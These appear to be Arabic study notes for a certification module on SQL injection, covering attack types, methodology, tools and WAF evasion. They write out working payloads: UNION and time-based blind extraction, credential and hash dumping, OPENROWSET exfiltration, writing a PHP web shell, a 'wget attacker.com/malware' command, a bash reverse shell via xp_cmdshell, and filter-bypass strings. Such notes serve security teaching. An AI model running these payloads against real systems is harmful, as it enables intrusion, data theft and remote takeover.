الـ SQL (Structured Query Language) لغة نصية يستخدمها سيرفر قاعدة البيانات. أوامره الأساسية: INSERT، SELECT، UPDATE، DELETE.
المبرمجون يستخدمون أوامر SQL تسلسلية مع بارامترات يُوفِّرها العميل، مما يُسهِّل على المهاجم حقن أوامر. الـ SQL Injection تقنية تستغل ثغرات الإدخال غير المعقَّم لتمرير أوامر SQL عبر تطبيق الويب للتنفيذ في قاعدة البيانات الخلفية.
SQL Injection ثغرة في تطبيق الويب وليست في قاعدة البيانات أو الـ Web Server. السبب هو أن التطبيق لا يتحقّق بشكل صحيح من المدخلات قبل تمريرها لجملة SQL.
| نوع الهجوم | الأثر |
|---|---|
| Authentication Bypass | تسجيل الدخول بدون اسم مستخدم أو كلمة مرور صالحين — الحصول على صلاحيات Admin |
| Authorization Bypass | تعديل معلومات التفويض المخزَّنة في قاعدة البيانات |
| Information Disclosure | استخراج معلومات حسّاسة مخزَّنة في قاعدة البيانات |
| Compromised Data Integrity | تشويه صفحات الويب، حقن محتوى خبيث، تعديل محتوى قاعدة البيانات |
| Compromised Data Availability | حذف بيانات قاعدة البيانات أو السجلات أو معلومات التدقيق |
| Remote Code Execution | اختراق نظام التشغيل المضيف |
| النوع الرئيسي | الوصف | الأنواع الفرعية |
|---|---|---|
| In-band SQL Injection | المهاجم يستخدم نفس قناة الاتصال لتنفيذ الهجوم واسترداد النتائج — الأكثر شيوعًا والأسهل استغلالًا | Error-based، UNION Injection، Stored Procedure، Tautology، End-of-Line Comment، In-line Comments، Piggybacked Query |
| Blind / Inferential SQL Injection | لا توجد رسائل خطأ — المهاجم يُرسِل الاستعلام الخبيث ويستنتج البنية من النتائج Boolean. أبطأ في التنفيذ لأن النتيجة دائمًا True/False | Boolean Exploitation، Heavy Query، Time-based (WAITFOR DELAY)، Double-Blind |
| Out-of-Band SQL Injection | يستخدم قنوات اتصال مختلفة (وظائف البريد الإلكتروني أو كتابة الملفات) للهجوم والحصول على النتائج — صعب التنفيذ لأنه يتطلّب التحقّق من خصائص سيرفر قاعدة البيانات | DNS Exfiltration، HTTP Requests |
| النوع | الشرح | المثال |
|---|---|---|
| Error-based | المهاجم يُدخِل بيانات خاطئة عمدًا يُرغِم قاعدة البيانات على إرجاع رسالة خطأ تكشف معلومات عنها — مفيد جدًا لبناء طلب استغلال الثغرة | id=10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))-- → ORA-292257 |
| System Stored Procedure | استغلال الإجراءات المخزَّنة لو التطبيق لا يُعقِّم المدخلات المستخدَمة لبناء استعلامات SQL ديناميكية لها | تنفيذ أوامر OS عبر xp_cmdshell |
| Illegal / Logically Incorrect Query | إرسال استعلام غير صحيح عمدًا لتوليد رسالة خطأ مفيدة لاستخراج بنية قاعدة البيانات | حقن أنواع بيانات خاطئة أو أسماء جداول غير موجودة |
| Tautology | استخدام شرط OR بحيث يكون شرط WHERE دائمًا صحيحًا — يُستخدَم لتجاوز المصادقة | OR 1=1-- |
| End-of-Line Comment | استخدام -- لتحويل بقية الاستعلام الأصلي لتعليق يُتجاهَل | admin'-- → يتجاهل شرط كلمة المرور |
| In-line Comments | دمج مدخلات ضعيفة متعددة في استعلام واحد بـ /* */ — يتجاوز Blacklisting ويُزيل المسافات ويُشوِّش | UN/**/ION SEL/**/ECT |
| Piggybacked Query | حقن استعلام خبيث إضافي ملحق بالاستعلام الأصلي باستخدام الفاصلة المنقوطة ; كمُفصِّل استعلامات — يُسمّى أيضًا Stacked Queries Attack | SELECT...; DROP TABLE users-- |
تقنية تدمج استعلامًا مزوَّرًا مع الاستعلام الأصلي. بعد تحديد عدد وأنواع الأعمدة:
SELECT Name, Phone, Address FROM Users WHERE Id=1
-- الهجوم:
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
-- النتيجة: يضيف أرقام بطاقات الائتمان لنتيجة الاستعلام الأصلي| التقنية | الشرح |
|---|---|
| Boolean Exploitation | إرسال جمل True وFalse ومقارنة استجابة الصفحة لاستنتاج نجاح الحقن. مثال: id=67 AND 1=2 → صفحة فارغة = نجاح الحقن |
| Heavy Query | استخدام استعلامات ثقيلة تستغرق وقتًا طويلًا بدلًا من دوال التأخير — يُنشئ تأخيرًا زمنيًا بضمّات متعددة على جداول النظام. مثال: AND 1 < SELECT count(*) FROM all_users A, all_users B, all_users C |
هجوم متقدّم بدون أي تغذية راجعة مباشرة (لا Error Messages ولا بيانات). المهاجم يبحث عن مؤشّرات غير مباشرة: تغيّرات في سلوك التطبيق أو أوقات الاستجابة. يستخدم Boolean-based وTime-based Blind SQL Injection.
تحديد ما إذا كان تطبيق الويب يتصل بسيرفر قاعدة بيانات للوصول للبيانات.
جمع كل حقول الإدخال والحقول المخفية وطلبات POST التي يمكن استخدامها في صياغة استعلام SQL.
محاولة حقن كود في حقول الإدخال لتوليد خطأ.
محاولة إدخال قيمة نصية حيث تُتوقَّع قيمة رقمية في حقل الإدخال.
استخدام عامل UNION لدمج نتائج SELECT بيانات إضافية.
التحقّق من رسائل الخطأ التفصيلية للحصول على معلومات لتنفيذ الهجوم.
http://certifiedhacker.com/?parameter=123
http://certifiedhacker.com/?parameter=1'
http://certifiedhacker.com/?parameter=1'#
http://certifiedhacker.com/?parameter=1"
http://certifiedhacker.com/?parameter=1 AND 1=1--
http://certifiedhacker.com/?parameter=1 AND 1=2--
http://certifiedhacker.com/?parameter=1'/*
http://certifiedhacker.com/?parameter=1' AND '1'='1
http://certifiedhacker.com/?parameter=1 order by 1000| ما تبحث عنه | أسلوب الكشف |
|---|---|
| Input Sanitization | إرسال علامة اقتباس مفردة ' أو مزدوجة " كإدخال لتحديد ما لم يُعقَّم |
| SQL Identifier Injection | استخدام القوس الأيمن ] لتحديد ما يُستخدَم كجزء من معرِّف SQL بدون تعقيم |
| Truncation Issues | إرسال سلاسل طويلة من الاقتباسات المفردة أو القوس — قد تستنفد دوال REPLACE وQUOTENAME |
| SQL Modification | إرسال سلاسل طويلة من البيانات غير المفيدة — قد تُطلِق أخطاء SQL في الصفحة |
-- 1. استخراج اسم قاعدة البيانات
http://certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,DB_NAME,3,4--
-- 2. استخراج أسماء الجداول
http://certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,TABLE_NAME,3,4
from sysobjects where xtype=char(85)--
-- 3. استخراج أسماء الأعمدة
http://certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,column_name,3,4
from DB_NAME.information_schema.columns where table_name='EMPLOYEE_TABLE'--
-- 4. استخراج البيانات من العمود الأول
http://certifiedhacker.com/page.aspx?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4
from EMPLOYEE_NAME---- فحص طول اسم المستخدم
http://certifiedhacker.com/page.aspx?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
http://certifiedhacker.com/page.aspx?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
-- (زيّد الرقم لحد ما الـ DBMS يرجع TRUE)
-- فحص الحرف الأول من اسم المستخدم (a=97, b=98, c=99...)
http://certifiedhacker.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
http://certifiedhacker.com/page.aspx?id=1; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
-- نفس الأسلوب لاسم قاعدة البيانات
http://certifiedhacker.com/page.aspx?id=1; IF (LEN(DB_NAME())=4) WAITFOR DELAY '00:00:10'--
http://certifiedhacker.com/page.aspx?id=1; IF (ASCII(lower(substring((DB_NAME()),1,1)))=97) WAITFOR DELAY '00:00:10'--
-- (لو DB_NAME() = ABCD: a=97, b=98, c=99, d=100 → كلها TRUE)المنطق بسيط: لو الاستعلام صحيح يتأخّر الرد 10 ثواني = TRUE، لو فوري = FALSE. بالتكرار مع كل حرف وكل موضع تقدر تبني اسم المستخدم/قاعدة البيانات حرفًا بحرف.
SELECT * FROM products WHERE id_product=10
-- الطلب الخبيث (Oracle):
http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80')||(SELECT user FROM DUAL)--
-- يُرسِل نتيجة الاستعلام لسيرفر المهاجم عبر HTTPيحدث لما بيانات الإدخال تُخزَّن في قاعدة البيانات أولًا، ثم تُستخدَم لاحقًا في معالجة استعلام SQL آخر بدون تحقّق أو Parameterized Queries.
المهاجم يُرسِل إدخالًا مُصمَّمًا في طلب HTTP — التطبيق يحفظه في قاعدة البيانات ويردّ على الطلب.
المهاجم يُرسِل طلبًا ثانيًا.
التطبيق يعالج الطلب الثاني بالإدخال الأول المخزَّن وينفّذ استعلام SQL الخبيث.
النتائج تُرجَع للمهاجم في الاستجابة على الطلب الثاني إن وُجِدت.
-- جميع قواعد البيانات على السيرفر
' and 1 in (select min(name) from master.dbo.sys.databases where name >'.') --
-- مكان ملفات قواعد البيانات
' and 1 in (select min(filename) from master.dbo.sys.databases where filename >'.') --
-- جداول وأعمدة في استعلام واحد
' union select 0, sys.objects.name + ': ' + sys.columns.name + ': ' + sys.types.name, 1,1,'1',1,1,1,1,1
from sys.objects, sys.columns, sys.types
where sys.objects.xtype = 'U'
AND sys.objects.id = sys.columns.id
AND sys.columns.xtype = sys.types.xtype ---- استخراج كلمات المرور كنص
begin declare @var varchar(8000) set @var=':'
select @var=@var+' '+login+'/'+password+' ' from users where login>@var
select @var as var into temp end; --
' and 1 in (select var from temp) --
' ; drop table temp --
-- استخراج SQL Server Hashes
SELECT password FROM sys.sysloginsالمهاجم يربط سيرفر SQL المستهدَف بجهازه عبر OPENROWSET ثم ينقل البيانات على Port 80.
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_sysdatabases') select * from sys.sysdatabases--
'; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table1') select * from database..table1--| الطريقة | الشرح |
|---|---|
| قراءة وكتابة ملفات النظام | LOAD_FILE() وINTO OUTFILE() في MySQL |
| تنفيذ مباشر عبر Remote Shell | xp_cmdshell في MSSQL أو PHP Shell عبر MySQL |
-- قراءة ملف /etc/passwd
NULL UNION ALL SELECT LOAD_FILE('/etc/passwd')/*
-- كتابة PHP Shell على السيرفر
NULL UNION ALL SELECT NULL,NULL,NULL,NULL,''
INTO OUTFILE '/var/www/certifiedhacker.com/shell.php'/*
-- بعد كتابة الـ Shell:
http://www.certifiedhacker.com/shell.php?command=wget http://attacker.com/malware-- MySQL: كتابة PHP Shell
SELECT '' FROM usertable
INTO dumpfile '/var/www/html/shell.php'
-- معرفة مسار الـ Web Server
SELECT @@datadir;
-- MSSQL: xp_cmdshell لإنشاء Reverse Shell على Port 8080
EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'-- مثال: Trigger يضبط سعر كل منتج على 0 تلقائيًا
CREATE OR REPLACE TRIGGER SET_PRICE
AFTER INSERT OR UPDATE ON ITEMS
FOR EACH ROW BEGIN
UPDATE ITEMS SET Price = 0;
END;الـ Trigger ينفّذ تلقائيًا عند كل INSERT أو UPDATE على الجدول — المهاجم يستطيع التحكّم في البيانات بشكل مستمرّ حتى بعد اكتشاف الاختراق وإزالة الـ Payload الأولي.
المهاجم يستخدم استعلامات DNS لاستخراج البيانات (مثل Password Hashes). طلبات DNS من السيرفر يمكنها عبور جدار الحماية عبر سيرفر DNS داخلي حتى لو كان الـ Firewall يمنع الإرسال المباشر للإنترنت.
MongoDB يستخدم قاعدة بيانات NoSQL معرَّضة لهجمات NoSQL Injection. التطبيقات التي تستخدمها (PHP وJavaScript وPython وJava) قد تحتوي هذه الثغرة في كود المصادقة — تُتيح تجاوز Authentication وسرقة البيانات وتعديلها. مثال: تطبيق PHP يسمح بعملية $where في MongoDB — المهاجم يحقن كود JavaScript خبيث يعرض قائمة المستخدمين.
| الأداة | الشرح |
|---|---|
| sqlmap | أداة Penetration Testing مفتوحة المصدر تُؤتِّم الكشف عن ثغرات SQL Injection واستغلالها والاستيلاء على سيرفرات قواعد البيانات (sqlmap.org) |
| Mole | أداة استغلال SQL Injection تلقائية — تحتاج فقط URL ضعيف وسلسلة صالحة على الموقع لتكتشف الحقن وتستغله بـ Union أو Boolean Query |
| jSQLInjection | GitHub |
| NoSQLMap | GitHub — لـ NoSQL |
| Havij | GitHub |
| blind_sql_bitshifting | GitHub — Blind SQL Injection متخصَّص |
| التقنية | الشرح | مثال |
|---|---|---|
| In-line Comments | إدراج تعليقات بين كلمات SQL المفتاحية لإخفاء النمط | UN/**/ION SEL/**/ECT |
| Char Encoding | استخدام دالة CHAR() لتمثيل الأحرف بدون علامات الاقتباس | char(47,101,116,99) = /etc |
| String Concatenation | تقسيم الكلمة المفتاحية وتجميعها بإرشادات خاصة بالـ DB | DB-specific concat operators |
| Obfuscated Code | جعل جملة SQL صعبة الفهم | تشابك الكلمات المفتاحية |
| Manipulating White Spaces | إدراج مسافات زائدة أو بديلة بين الكلمات المفتاحية | UNION%09SELECT (Tab) |
| Hex Encoding | تمثيل الاستعلام بترميز Hex | 0x4F52 = OR |
| Sophisticated Matches | بديل لـ OR 1=1 | OR 'a'='a'، OR 1 LIKE 1 |
| URL Encoding | إضافة % قبل كل Code Point | %55NION = UNION |
| Null Byte | استخدام %00 قبل النص لتجاوز آلية الكشف | %00 UNION SELECT |
| Case Variation | خلط الأحرف الكبيرة والصغيرة | uNiOn SeLeCt |
| Declare Variables | تخزين جمل SQL في متغيّرات وتمريرها | DECLARE @v varchar(100); SET @v='UNION...' |
| IP Fragmentation | تقسيم الحزمة لشظايا تحمل الـ Payload دون أن يكشفها توقيع الـ IDS | Tiny Fragments |
| Variations | جملة WHERE دائمًا TRUE | WHERE 1 BETWEEN 0 AND 2 |
-- Normalization Method
/?id=1/*union*/union/*select*/select+1,2,3/*
-- HPP Technique (HTTP Parameter Pollution)
/?id=1;select+1&id=2,3+from+users+where+id=1--
-- HPF Technique (مع UNION)
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
-- Blind SQL (بدائل OR/AND)
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
-- Signature Bypass
/?id=1+union+(select+'xz'from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
-- Buffer Overflow Method (C/C++ firewalls)
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4...
-- CRLF Technique
http://www.certifiedhacker.com/info.php?id=1+%0A%0Dunion%0A%0D+%0A%0Dselect%0A%0D+1,2,3,4,5---- تحميل ملف بدون علامات اقتباس (string = "/etc/passwd")
' union select 1,(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
-- حقن بدون علامات اقتباس (string = "%")
' or username like char(37);
-- حقن بدون علامات اقتباس (string = "root")
' union select * from users where login = char(114,111,111,116);
-- فحص وجود ملف (string = "n.ext")
' and 1=(if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));| الأداة | الرابط |
|---|---|
| Ghauri | github.com |
| Burp Suite | portswigger.net |
| HCL AppScan | hcl-software.com |
| Invicti | invicti.com |
| sqlmap | sqlmap.org |
| Arachni | ecsypno.com |
| Qualys WAS | qualys.com |
| Fortify WebInspect | microfocus.com |
| BeSECURE | beyondsecurity.com |
| sqlifinder | github.com |
| Wapiti | wapiti-scanner.github.io |
| InsightAppSec | rapid7.com |
| Acunetix | acunetix.com |
| Detectify | detectify.com |
| SonarQube | sonarsource.com |
| Veracode | veracode.com |
| PVS-Studio | pvs-studio.com |
| Coverity Scan | scan.coverity.com |
| النوع | قناة النتائج | السرعة | يحتاج Error Messages؟ | مثال |
|---|---|---|---|---|
| In-band (Error-based) | نفس القناة | سريع | نعم | ORA-29257، MySQL Errors |
| In-band (UNION) | نفس القناة | سريع | لا (يحتاج عدد الأعمدة) | UNION SELECT creditCardNumber |
| Blind Boolean | نفس القناة (True/False) | بطيء | لا | AND 1=1 مقابل AND 1=2 |
| Blind Time-based | نفس القناة (تأخير) | بطيء جدًا | لا | WAITFOR DELAY |
| Double-Blind | مؤشّرات غير مباشرة | بطيء جدًا | لا | سلوك التطبيق وأوقات الاستجابة |
| Out-of-Band | قناة مختلفة (DNS/HTTP) | متغيّر | لا | UTL_HTTP.request |
| Second-Order | مؤجَّل — يُنفَّذ بطلب لاحق | مختلف | لا | بيانات مخزَّنة تُنفَّذ لاحقًا |
| التقنية | الفكرة الجوهرية |
|---|---|
| Tautology | WHERE دائمًا TRUE — OR 1=1 |
| End-of-Line Comment | -- يُلغي باقي الاستعلام |
| In-line Comments | /* */ لتجاوز الـ Blacklisting |
| Piggybacked Query | ; لإضافة استعلام ثانٍ |
| System Stored Procedure | xp_cmdshell لتنفيذ أوامر OS |
| Union Injection | UNION لضمّ نتائج جدول آخر |
| Error-based | UTL_INADDR/UTL_HTTP لاستخراج بيانات في رسائل الخطأ |
sys.databases، sysobjects، information_schema.columns
SELECT FROM sys.syslogins — حقن في جدول Users
OPENROWSET على Port 80
LOAD_FILE() ، INTO OUTFILE() في MySQL
PHP Shell + xp_cmdshell / bash Reverse Shell
CREATE TRIGGER يُعدِّل البيانات تلقائيًا
استخراج Hashes عبر طلبات DNS
الموديول ناقش مفاهيم SQL Injection وأسبابه، وأنواعه الثلاثة الرئيسية (In-band وBlind وOut-of-Band) مع أنواعها الفرعية، ومنهجية الهجوم الكاملة (جمع المعلومات، اكتشاف الثغرات، تنفيذ Union وBlind وOut-of-Band)، والـ Advanced SQL Injection (تعداد قاعدة البيانات ونقلها والتفاعل مع OS وإنشاء Backdoors وDNS Exfiltration وNoSQL Injection)، ثم تقنيات تجاوز الـ WAF والإجراءات المضادة والأدوات.
SQL Injection ليس مجرّد سرقة بيانات — هو في أسوأ أحواله مفتاح لنظام التشغيل كله. من
UNION SELECTللحصول على الأعمدة، لـINTO OUTFILEلزرع PHP Shell، لـxp_cmdshellلتشغيل أوامر OS، لـ Reverse Shell للسيطرة الكاملة — كل هذا يبدأ من مدخل واحد غير مُتحقَّق منه.
أسئلة هذا الموديول تُركِّز على: الفرق بين In-band وBlind وOut-of-Band، الفرق بين Boolean وTime-based Blind SQL Injection، الفرق بين Piggybacked Query وTautology وEnd-of-Line Comment، آلية Second-Order SQL Injection، كيف تستخدم LOAD_FILE() وINTO OUTFILE() وxp_cmdshell، وتقنيات تجاوز WAF (Char Encoding وIn-line Comments وNull Byte).
نهاية نوتس الموديول الخامس عشر — SQL Injection